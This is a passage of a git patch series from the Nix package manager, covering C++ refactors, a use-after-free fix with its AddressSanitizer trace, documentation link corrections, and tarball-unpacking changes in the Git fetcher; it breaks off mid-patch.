b/src/libstore/unix/build/local-derivation-goal.cc index 0dd102200..d30caaf51 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -1258,7 +1258,7 @@ bool LocalDerivationGoal::isAllowed(const DerivedPath & req) struct RestrictedStoreConfig : virtual LocalFSStoreConfig { using LocalFSStoreConfig::LocalFSStoreConfig; - const std::string name() { return "Restricted Store"; } + const std::string name() override { return "Restricted Store"; } }; /* A wrapper around LocalStore that only allows building/querying of diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc index 36b99905a..1be7fa37a 100644 --- a/src/libutil/serialise.cc +++ b/src/libutil/serialise.cc @@ -190,11 +190,11 @@ struct VirtualStackAllocator { class DefaultStackAllocator : public StackAllocator { boost::coroutines2::default_stack stack; - boost::context::stack_context allocate() { + boost::context::stack_context allocate() override { return stack.allocate(); } - void deallocate(boost::context::stack_context sctx) { + void deallocate(boost::context::stack_context sctx) override { stack.deallocate(sctx); } }; diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh index 8137db5f4..c7290dcef 100644 --- a/src/libutil/serialise.hh +++ b/src/libutil/serialise.hh @@ -204,7 +204,7 @@ struct TeeSink : Sink { Sink & sink1, & sink2; TeeSink(Sink & sink1, Sink & sink2) : sink1(sink1), sink2(sink2) { } - virtual void operator () (std::string_view data) + virtual void operator () (std::string_view data) override { sink1(data); sink2(data); @@ -221,7 +221,7 @@ struct TeeSource : Source Sink & sink; TeeSource(Source & orig, Sink & sink) : orig(orig), sink(sink) { } - size_t read(char * data, size_t len) + size_t read(char * data, size_t len) override { size_t n = orig.read(data, len); sink({data, n}); @@ -238,7 +238,7 @@ struct SizedSource : Source size_t remain; SizedSource(Source & orig, size_t size) : orig(orig), remain(size) { } - size_t read(char * data, size_t len) + size_t read(char * data, size_t len) override { if (this->remain <= 0) { throw EndOfFile("sized: unexpected end-of-file"); diff --git a/src/perl/meson.build b/src/perl/meson.build index 02e0e68e5..dcb6a68a4 100644 --- a/src/perl/meson.build +++ b/src/perl/meson.build @@ -25,6 +25,7 @@ nix_perl_conf.set('PACKAGE_VERSION', meson.project_version()) error_args = [ '-Wdeprecated-copy', '-Wdeprecated-declarations', + '-Werror=suggest-override', '-Werror=unused-result', '-Wignored-qualifiers', '-Wno-duplicate-decl-specifier', From 9b5ce9acc29a98bedf0530d5611f25f57eae6197 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Thu, 25 Jul 2024 09:21:31 +0200 Subject: [PATCH 1198/1251] build-remote: only allocate storeUri once also it's probably not much overhead compared to the networking stuff it, but it's less code at least. --- src/build-remote/build-remote.cc | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 8482b742d..82ad7d862 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -101,7 +101,7 @@ static int main_build_remote(int argc, char * * argv) } std::optional drvPath; - StoreReference storeUri; + std::string storeUri; while (true) { @@ -234,17 +234,16 @@ static int main_build_remote(int argc, char * * argv) lock = -1; try { + storeUri = bestMachine->storeUri.render(); - Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", bestMachine->storeUri.render())); + Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", storeUri)); sshStore = bestMachine->openStore(); sshStore->connect(); - storeUri = bestMachine->storeUri; - } catch (std::exception & e) { auto msg = chomp(drainFD(5, false)); printError("cannot build on '%s': %s%s", - bestMachine->storeUri.render(), e.what(), + storeUri, e.what(), msg.empty() ? "" : ": " + msg); bestMachine->enabled = false; continue; @@ -259,7 +258,7 @@ connected: assert(sshStore); - std::cerr << "# accept\n" << storeUri.render() << "\n"; + std::cerr << "# accept\n" << storeUri << "\n"; auto inputs = readStrings(source); auto wantedOutputs = readStrings(source); @@ -270,17 +269,17 @@ connected: uploadLock = openLockFile(currentLoad + "/" + escapeUri(fileName) + ".upload-lock", true); }; try { - setUpdateLock(storeUri.render()); + setUpdateLock(storeUri); } catch (SysError & e) { if (e.errNo != ENAMETOOLONG) throw; // Try again hashing the store URL so we have a shorter path - auto h = hashString(HashAlgorithm::MD5, storeUri.render()); + auto h = hashString(HashAlgorithm::MD5, storeUri); setUpdateLock(h.to_string(HashFormat::Base64, false)); } } { - Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri.render())); + Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri)); auto old = signal(SIGALRM, handleAlarm); alarm(15 * 60); @@ -293,7 +292,7 @@ connected: auto substitute = settings.buildersUseSubstitutes ? Substitute : NoSubstitute; { - Activity act(*logger, lvlTalkative, actUnknown, fmt("copying dependencies to '%s'", storeUri.render())); + Activity act(*logger, lvlTalkative, actUnknown, fmt("copying dependencies to '%s'", storeUri)); copyPaths(*store, *sshStore, store->parseStorePathSet(inputs), NoRepair, NoCheckSigs, substitute); } @@ -331,7 +330,7 @@ connected: optResult = sshStore->buildDerivation(*drvPath, (const BasicDerivation &) drv); auto & result = *optResult; if (!result.success()) - throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri.render(), result.errorMsg); + throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg); } else { copyClosure(*store, *sshStore, StorePathSet {*drvPath}, NoRepair, NoCheckSigs, substitute); auto res = sshStore->buildPathsWithResults({ @@ -374,7 +373,7 @@ connected: } if (!missingPaths.empty()) { - Activity act(*logger, lvlTalkative, actUnknown, fmt("copying outputs from '%s'", storeUri.render())); + Activity act(*logger, lvlTalkative, actUnknown, fmt("copying outputs from '%s'", storeUri)); if (auto localStore = store.dynamic_pointer_cast()) for (auto & path : missingPaths) localStore->locksHeld.insert(store->printStorePath(path)); /* FIXME: ugly */ From baa28159d316e2c506fee8a82f66726c9305f68a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 25 Jul 2024 15:38:02 +0200 Subject: [PATCH 1199/1251] Update tests/functional/test-infra.sh Co-authored-by: John Ericson --- tests/functional/test-infra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh index 1dab069fb..d02a11b46 100755 --- a/tests/functional/test-infra.sh +++ b/tests/functional/test-infra.sh @@ -111,7 +111,7 @@ unset res # `grepQuiet` does not allow newlines in its arguments, because grep quietly # treats them as multiple queries. -( echo foo; echo bar; ) | expectStderr -101 grepQuiet $'foo\nbar' \ +{ echo foo; echo bar; } | expectStderr -101 grepQuiet $'foo\nbar' \ | grepQuiet -E 'test-infra\.sh:[0-9]+: in call to grepQuiet: newline not allowed in arguments; grep would try each line individually as if connected by an OR operator' # We took the blue pill and woke up in a world where `grep` is moderately safe. From f0fe1d880ded3b5c1e6d44ad0cee9105a50ebd65 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 25 Jul 2024 15:39:15 +0200 Subject: [PATCH 1200/1251] Update doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Jörg Thalheim --- .../10734-nix3-build-show-all-fod-errors-with-keep-going.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md index 5c2797be8..e4e2f797c 100644 --- a/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md +++ b/doc/manual/rl-next/10734-nix3-build-show-all-fod-errors-with-keep-going.md @@ -5,6 +5,6 @@ prs: 10734 The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior of `nix build`. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. -Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92) +Author: [**Jörg Thalheim (@Mic92)**](https://github.com/Mic92), [**Maximilian Bosch (@Ma27)**](https://github.com/Ma27) [`--keep-going`](@docroot@/command-ref/opt-common.md#opt-keep-going) From 55a654abfd0f9a0d8e70b9d2dec410888a3e76db Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 17:53:17 +0200 Subject: [PATCH 1201/1251] Make panic() and unreachable() robust Plus one or two tweaks. --- src/libutil/error.cc | 28 +++++++++++++++++++++++++--- src/libutil/error.hh | 8 ++------ 2 files changed, 27 insertions(+), 9 deletions(-) diff --git a/src/libutil/error.cc b/src/libutil/error.cc index b1858911a..ccd008c7c 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -1,3 +1,5 @@ +#include + #include "error.hh" #include "environment-variables.hh" #include "signals.hh" @@ -430,16 +432,36 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s return out; } +/** Write to stderr in a robust and minimal way, considering that the process + * may be in a bad state. + */ +static void writeErr(std::string_view buf) +{ + while (!buf.empty()) { + auto n = write(STDERR_FILENO, buf.data(), buf.size()); + if (n < 0) { + if (errno == EINTR) continue; + abort(); + } + buf = buf.substr(n); + } +} + void panic(std::string_view msg) { - printError(msg); - printError("This was a fatal error, aborting."); + writeErr("\n\n" ANSI_RED "terminating due to unexpected unrecoverable internal error: " ANSI_NORMAL ); + writeErr(msg); + writeErr("\n"); abort(); } void panic(const char * file, int line, const char * func) { - panic(std::string("Unexpected condition in ") + func + " at " + file + ":" + std::to_string(line)); + char buf[512]; + int n = snprintf(buf, sizeof(buf), "Unexpected condition in %s at %s:%d", func, file, line); + if (n < 0) + panic("Unexpected condition and could not format error message"); + panic(std::string_view(buf, std::min(static_cast(sizeof(buf)), n))); } } diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 572a1baf7..58d902622 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -275,17 +275,13 @@ void throwExceptionSelfCheck(); /** * Print a message and abort(). - * - * @note: This assumes that the logger is operational */ [[noreturn]] void panic(std::string_view msg); /** * Print a basic error message with source position and abort(). - * Use the unreachable macro to call this. - * - * @note: This assumes that the logger is operational + * Use the unreachable() macro to call this. */ [[noreturn]] void panic(const char * file, int line, const char * func); @@ -295,6 +291,6 @@ void panic(const char * file, int line, const char * func); * * @note: This assumes that the logger is operational */ -#define unreachable() (panic(__FILE__, __LINE__, __func__)) +#define unreachable() (::nix::panic(__FILE__, __LINE__, __func__)) } From 6e178cd899dc9e25e8da6a018f7cfdb233b762ea Mon Sep 17 00:00:00 2001 From: Cole Helbling Date: Thu, 25 Jul 2024 11:38:45 -0700 Subject: [PATCH 1202/1251] Fix reference to experimental features docs Arose because https://github.com/NixOS/nix/pull/9014 merged before https://github.com/NixOS/nix/pull/11131, but the latter did not rebase / merge against the latest master. --- doc/manual/src/language/operators.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index e96a28988..e1c020781 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -198,11 +198,11 @@ Equivalent to `!`*b1* `||` *b2*. > **Warning** > > This syntax is part of an -> [experimental feature](@docroot@/contributing/experimental-features.md) +> [experimental feature](@docroot@/development/experimental-features.md) > and may change in future releases. > > To use this syntax, make sure the -> [`pipe-operators` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-pipe-operators) +> [`pipe-operators` experimental feature](@docroot@/development/experimental-features.md#xp-feature-pipe-operators) > is enabled. > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): > From 90459e60dcfedae27bd7da5615fe1aac25cc4c4e Mon Sep 17 00:00:00 2001 From: Cole Helbling Date: Thu, 25 Jul 2024 11:38:45 -0700 Subject: [PATCH 1203/1251] Fix reference to experimental features docs Arose because https://github.com/NixOS/nix/pull/9014 merged before https://github.com/NixOS/nix/pull/11131, but the latter did not rebase / merge against the latest master. --- doc/manual/src/language/operators.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index e96a28988..e1c020781 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -198,11 +198,11 @@ Equivalent to `!`*b1* `||` *b2*. > **Warning** > > This syntax is part of an -> [experimental feature](@docroot@/contributing/experimental-features.md) +> [experimental feature](@docroot@/development/experimental-features.md) > and may change in future releases. > > To use this syntax, make sure the -> [`pipe-operators` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-pipe-operators) +> [`pipe-operators` experimental feature](@docroot@/development/experimental-features.md#xp-feature-pipe-operators) > is enabled. > For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): > From 492715c0bb589f0df963cb9902a9f46230104d44 Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Tue, 18 Jun 2024 00:54:05 -0700 Subject: [PATCH 1204/1251] diff-closures: fix a use after free Found by looking for interesting asan reports from the test suite. What happened here is that name got overwritten, but it was what actually held the backing memory for the thing it got overwritten by, which was a by-reference value coming out of std::regex. Due to absurd reasons I cannot seem to use a string_view iterator here, so I just copy the string with a longer lifetime instead. idk lol ==3796364==ERROR: AddressSanitizer: heap-use-after-free on address 0x503000014c61 at pc 0x74843523bf1d bp 0x7ffc68351330 sp 0x7ffc68350af0 READ of size 3 at 0x503000014c61 thread T0 0 0x74843523bf1c in __asan_memcpy (/nix/store/mzhqknx2mc94jdz4n320hn1lml86398y-clang-wrapper-17.0.6/resource-root/lib/linux/libclang_rt.asan-x86_64.so+0x159f1c) 1 0x6403cf6cbff4 in std::char_traits::copy(char*, char const*, unsigned long) /nix/store/14c6s4xzhy14i2b05s00rjns2j93gzz4-gcc-13.2.0/include/c++/13.2.0/bits/char_traits.h:445:33 <...> 7 0x6403cf6cbff4 in std::__cxx11::sub_match<__gnu_cxx::__normal_iterator, std::allocator>>>::str() const /nix/store/14c6s4xzhy14i2b05s00rjns2j93gzz4-gcc-13.2.0/include/c++/13.2.0/bits/regex.h:966:6 8 0x6403cf6cbff4 in std::__cxx11::sub_match<__gnu_cxx::__normal_iterator, std::allocator>>>::operator std::__cxx11::basic_string, std::allocator>() const /nix/store/14c6s4xzhy14i2b05s00rjns2j93gzz4-gcc-13.2.0/include/c++/13.2.0/bits/regex.h:955:16 9 0x6403cf6cbff4 in nix::getClosureInfo[abi:cxx11](nix::ref, nix::StorePath const&) /home/jade/lix/lix2/build/src/nix/diff-closures.cc:37:26 10 0x6403cf6cd70c in nix::printClosureDiff(nix::ref, nix::StorePath const&, nix::StorePath const&, std::basic_string_view>) /home/jade/lix/lix2/build/src/nix/diff-closures.cc:54:25 11 0x6403cf873331 in CmdProfileDiffClosures::run(nix::ref) /home/jade/lix/lix2/build/src/nix/profile.cc:479:17 <...> 0x503000014c61 is located 17 bytes inside of 21-byte region [0x503000014c50,0x503000014c65) freed by thread T0 here: 0 0x748435250470 in operator delete(void*) (/nix/store/mzhqknx2mc94jdz4n320hn1lml86398y-clang-wrapper-17.0.6/resource-root/lib/linux/libclang_rt.asan-x86_64.so+0x16e470) <...> 6 0x6403cf6cbda2 in std::__cxx11::basic_string, std::allocator>::~basic_string() /nix/store/14c6s4xzhy14i2b05s00rjns2j93gzz4-gcc-13.2.0/include/c++/13.2.0/bits/basic_string.h:792:9 7 0x6403cf6cbda2 in nix::getClosureInfo[abi:cxx11](nix::ref, nix::StorePath const&) /home/jade/lix/lix2/build/src/nix/diff-closures.cc:36:13 8 0x6403cf6cd70c in nix::printClosureDiff(nix::ref, nix::StorePath const&, nix::StorePath const&, std::basic_string_view>) /home/jade/lix/lix2/build/src/nix/diff-closures.cc:54:25 <...> previously allocated by thread T0 here: 0 0x74843524fa38 in operator new(unsigned long) (/nix/store/mzhqknx2mc94jdz4n320hn1lml86398y-clang-wrapper-17.0.6/resource-root/lib/linux/libclang_rt.asan-x86_64.so+0x16da38) <...> 9 0x6403cf6cb68c in std::__cxx11::basic_string, std::allocator>::basic_string>, void>(std::basic_string_view> const&, std::allocator const&) /nix/store/14c6s4xzhy14i2b05s00rjns2j93gzz4-gcc-13.2.0/include/c++/13.2.0/bits/basic_string.h:784:4 10 0x6403cf6cb68c in nix::getClosureInfo[abi:cxx11](nix::ref, nix::StorePath const&) /home/jade/lix/lix2/build/src/nix/diff-closures.cc:33:21 11 0x6403cf6cd70c in nix::printClosureDiff(nix::ref, nix::StorePath const&, nix::StorePath const&, std::basic_string_view>) /home/jade/lix/lix2/build/src/nix/diff-closures.cc:54:25 12 0x6403cf873331 in CmdProfileDiffClosures::run(nix::ref) /home/jade/lix/lix2/build/src/nix/profile.cc:479:17 <...> (cherry-picked from https://git.lix.systems/lix-project/lix/commit/b9b1bbd22fc3b34a4d8e2090f0d033f742c32ee0) --- src/nix/diff-closures.cc | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index 46c94b211..4e12dc60a 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -31,9 +31,18 @@ GroupedPaths getClosureInfo(ref store, const StorePath & toplevel) version suffixes like "unstable"). */ static std::regex regex("(.*)-([a-z]+|lib32|lib64)"); std::smatch match; - std::string name(path.name()); + std::string name{path.name()}; + // Used to keep name alive through being potentially overwritten below + // (to not invalidate the references from the regex result) + // + // n.b. cannot be just path.name().{begin,end}() since that returns const + // char *, which does not, for some reason, convert as required on + // libstdc++. Seems like a libstdc++ bug or standard bug to me... we + // can afford the allocation in any case. + const std::string origName{path.name()}; std::string outputName; - if (std::regex_match(name, match, regex)) { + + if (std::regex_match(origName, match, regex)) { name = match[1]; outputName = match[2]; } From 07aeedd37e2e6c2b2d48fd5cf59917adc241f949 Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Tue, 23 Jul 2024 21:45:30 +0200 Subject: [PATCH 1205/1251] diff-closures: remove gratuitous copy This was done originally because std::smatch does not accept `const char *` as iterators. However, this was because we should have been using std::cmatch instead. (cherry picked from commit https://git.lix.systems/lix-project/lix/commit/12a5838d11f790d36e2ac626e8916a2c19bcb80b) --- src/nix/diff-closures.cc | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/src/nix/diff-closures.cc b/src/nix/diff-closures.cc index 4e12dc60a..2bc7fe82b 100644 --- a/src/nix/diff-closures.cc +++ b/src/nix/diff-closures.cc @@ -25,24 +25,17 @@ GroupedPaths getClosureInfo(ref store, const StorePath & toplevel) GroupedPaths groupedPaths; - for (auto & path : closure) { + for (auto const & path : closure) { /* Strip the output name. Unfortunately this is ambiguous (we can't distinguish between output names like "bin" and version suffixes like "unstable"). */ static std::regex regex("(.*)-([a-z]+|lib32|lib64)"); - std::smatch match; + std::cmatch match; std::string name{path.name()}; - // Used to keep name alive through being potentially overwritten below - // (to not invalidate the references from the regex result) - // - // n.b. cannot be just path.name().{begin,end}() since that returns const - // char *, which does not, for some reason, convert as required on - // libstdc++. Seems like a libstdc++ bug or standard bug to me... we - // can afford the allocation in any case. - const std::string origName{path.name()}; + std::string_view const origName = path.name(); std::string outputName; - if (std::regex_match(origName, match, regex)) { + if (std::regex_match(origName.begin(), origName.end(), match, regex)) { name = match[1]; outputName = match[2]; } From 2141a52ca3e150079bce8bc12a0a992b16c046f1 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 26 Jul 2024 15:38:44 +0200 Subject: [PATCH 1206/1251] nix repl: Remove unnecessary call to evalString This crashes with the multithreaded evaluator, which checks against attempts to finish an already finished value. --- src/libcmd/repl.cc | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index b5d0816dd..f5e836f8c 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -644,9 +644,6 @@ ProcessLineResult NixRepl::processLine(std::string line) fallbackPos = attr->pos; fallbackDoc = state->getDocCommentForPos(fallbackPos); } - - } else { - evalString(arg, v); } evalString(arg, v); From 6d843ce9fec37e854e518db19ce880895f7de2ac Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 6 Jun 2024 19:32:46 +0200 Subject: [PATCH 1207/1251] Provide std::hash --- src/libexpr/json-to-value.cc | 2 +- src/libexpr/symbol-table.hh | 11 +++++++++++ src/libexpr/value.hh | 4 ++-- 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/src/libexpr/json-to-value.cc b/src/libexpr/json-to-value.cc index 33ab55ee9..21074bdd8 100644 --- a/src/libexpr/json-to-value.cc +++ b/src/libexpr/json-to-value.cc @@ -42,7 +42,7 @@ class JSONSax : nlohmann::json_sax { auto attrs2 = state.buildBindings(attrs.size()); for (auto & i : attrs) attrs2.insert(i.first, i.second); - parent->value(state).mkAttrs(attrs2.alreadySorted()); + parent->value(state).mkAttrs(attrs2); return std::move(parent); } void add() override { v = nullptr; } diff --git a/src/libexpr/symbol-table.hh b/src/libexpr/symbol-table.hh index c7a3563b0..8f7257e01 100644 --- a/src/libexpr/symbol-table.hh +++ b/src/libexpr/symbol-table.hh @@ -69,6 +69,8 @@ public: auto operator<=>(const Symbol other) const { return id <=> other.id; } bool operator==(const Symbol other) const { return id == other.id; } + + friend class std::hash; }; /** @@ -132,3 +134,12 @@ public: }; } + +template<> +struct std::hash +{ + std::size_t operator()(const nix::Symbol & s) const noexcept + { + return std::hash{}(s.id); + } +}; diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 1f4d72d39..bfe526db3 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -494,11 +494,11 @@ void Value::mkBlackhole() #if HAVE_BOEHMGC typedef std::vector> ValueVector; -typedef std::map, traceable_allocator>> ValueMap; +typedef std::unordered_map, std::equal_to, traceable_allocator>> ValueMap; typedef std::map, traceable_allocator>> ValueVectorMap; #else typedef std::vector ValueVector; -typedef std::map ValueMap; +typedef std::unordered_map ValueMap; typedef std::map ValueVectorMap; #endif From ce663d75e36f1bb41c11a9d666d5b649328bee92 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 4 Jan 2024 15:05:20 +0100 Subject: [PATCH 1208/1251] LRUCache: Mark size() as const --- src/libutil/lru-cache.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/lru-cache.hh b/src/libutil/lru-cache.hh index 0e19517ed..6e14cac35 100644 --- a/src/libutil/lru-cache.hh +++ b/src/libutil/lru-cache.hh @@ -89,7 +89,7 @@ public: return i->second.second; } - size_t size() + size_t size() const { return data.size(); } From ea46264bd35d479ca60b3f725d31f0735863281d Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 26 Jul 2024 16:14:03 +0200 Subject: [PATCH 1209/1251] Store: Use SharedSync for state --- src/libstore/store-api.cc | 2 +- src/libstore/store-api.hh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 2c4dee518..21fa2939d 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -920,7 +920,7 @@ StorePathSet Store::exportReferences(const StorePathSet & storePaths, const Stor const Store::Stats & Store::getStats() { { - auto state_(state.lock()); + auto state_(state.read()); stats.pathInfoCacheSize = state_->pathInfoCache.size(); } return stats; diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index 7d5f533c5..8288cfdf0 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -201,7 +201,7 @@ protected: LRUCache pathInfoCache; }; - Sync state; + SharedSync state; std::shared_ptr diskCache; From d9ba2a1634865b2d7306b97902ce5accb89a9bb2 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 26 Jul 2024 19:06:49 +0200 Subject: [PATCH 1210/1251] Fix error message --- src/libfetchers/git-utils.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index ecc71ae47..1a64acc50 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -131,7 +131,7 @@ T peelObject(git_repository * repo, git_object * obj, git_object_t type) T obj2; if (git_object_peel((git_object * *) (typename T::pointer *) Setter(obj2), obj, type)) { auto err = git_error_last(); - throw Error("peeling Git object '%s': %s", git_object_id(obj), err->message); + throw Error("peeling Git object '%s': %s", *git_object_id(obj), err->message); } return obj2; } From 06b686b62dae4db86bb4c449c3418e271dff1b68 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 26 Jul 2024 20:24:58 +0200 Subject: [PATCH 1211/1251] Handle tarballs that don't consist of a single top-level directory Fixes #4785 (top-level directories are no longer merged into one). Fixes #10983 (top-level non-directories are no longer discarded). --- src/libfetchers/git-utils.cc | 77 ++++++++++++++++++++++++++---------- tests/functional/tarball.sh | 25 ++++++++++++ 2 files changed, 82 insertions(+), 20 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 1a64acc50..032d8e0bd 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -126,7 +126,7 @@ Object lookupObject(git_repository * repo, const git_oid & oid, git_object_t typ } template -T peelObject(git_repository * repo, git_object * obj, git_object_t type) +T peelObject(git_object * obj, git_object_t type) { T obj2; if (git_object_peel((git_object * *) (typename T::pointer *) Setter(obj2), obj, type)) { @@ -136,6 +136,29 @@ T peelObject(git_repository * repo, git_object * obj, git_object_t type) return obj2; } +template +T dupObject(typename T::pointer obj) +{ + T obj2; + if (git_object_dup((git_object * *) (typename T::pointer *) Setter(obj2), (git_object *) obj)) + throw Error("duplicating object '%s': %s", *git_object_id((git_object *) obj), git_error_last()->message); + return obj2; +} + +/** + * Peel the specified object (i.e. follow tag and commit objects) to + * either a blob or a tree. + */ +static Object peelToTreeOrBlob(git_object * obj) +{ + /* git_object_peel() doesn't handle blob objects, so handle those + specially. */ + if (git_object_type(obj) == GIT_OBJECT_BLOB) + return dupObject(obj); + else + return peelObject(obj, GIT_OBJECT_TREE); +} + struct GitRepoImpl : GitRepo, std::enable_shared_from_this { /** Location of the repository on disk. */ @@ -166,7 +189,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this std::unordered_set done; std::queue todo; - todo.push(peelObject(*this, lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT)); + todo.push(peelObject(lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT)); while (auto commit = pop(todo)) { if (!done.insert(*git_commit_id(commit->get())).second) continue; @@ -184,7 +207,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this uint64_t getLastModified(const Hash & rev) override { - auto commit = peelObject(*this, lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT); + auto commit = peelObject(lookupObject(*this, hashToOID(rev)).get(), GIT_OBJECT_COMMIT); return git_commit_time(commit.get()); } @@ -476,11 +499,11 @@ ref GitRepo::openRepo(const std::filesystem::path & path, bool create, struct GitSourceAccessor : SourceAccessor { ref repo; - Tree root; + Object root; GitSourceAccessor(ref repo_, const Hash & rev) : repo(repo_) - , root(peelObject(*repo, lookupObject(*repo, hashToOID(rev)).get(), GIT_OBJECT_TREE)) + , root(peelToTreeOrBlob(lookupObject(*repo, hashToOID(rev)).get())) { } @@ -506,7 +529,7 @@ struct GitSourceAccessor : SourceAccessor std::optional maybeLstat(const CanonPath & path) override { if (path.isRoot()) - return Stat { .type = tDirectory }; + return Stat { .type = git_object_type(root.get()) == GIT_OBJECT_TREE ? tDirectory : tRegular }; auto entry = lookup(path); if (!entry) @@ -616,10 +639,10 @@ struct GitSourceAccessor : SourceAccessor std::optional lookupTree(const CanonPath & path) { if (path.isRoot()) { - Tree tree; - if (git_tree_dup(Setter(tree), root.get())) - throw Error("duplicating directory '%s': %s", showPath(path), git_error_last()->message); - return tree; + if (git_object_type(root.get()) == GIT_OBJECT_TREE) + return dupObject((git_tree *) &*root); + else + return std::nullopt; } auto entry = lookup(path); @@ -646,10 +669,10 @@ struct GitSourceAccessor : SourceAccessor std::variant getTree(const CanonPath & path) { if (path.isRoot()) { - Tree tree; - if (git_tree_dup(Setter(tree), root.get())) - throw Error("duplicating directory '%s': %s", showPath(path), git_error_last()->message); - return tree; + if (git_object_type(root.get()) == GIT_OBJECT_TREE) + return dupObject((git_tree *) &*root); + else + throw Error("Git root object '%s' is not a directory", *git_object_id(root.get())); } auto entry = need(path); @@ -669,6 +692,9 @@ struct GitSourceAccessor : SourceAccessor Blob getBlob(const CanonPath & path, bool expectSymlink) { + if (!expectSymlink && git_object_type(root.get()) == GIT_OBJECT_BLOB) + return dupObject((git_blob *) &*root); + auto notExpected = [&]() { throw Error( @@ -782,8 +808,6 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink std::vector pendingDirs; - size_t componentsToStrip = 1; - void pushBuilder(std::string name) { git_treebuilder * b; @@ -839,9 +863,6 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink { std::span pathComponents2{pathComponents}; - if (pathComponents2.size() <= componentsToStrip) return false; - pathComponents2 = pathComponents2.subspan(componentsToStrip); - updateBuilders( isDir ? pathComponents2 @@ -964,11 +985,27 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink git_tree_entry_filemode(entry)); } - Hash 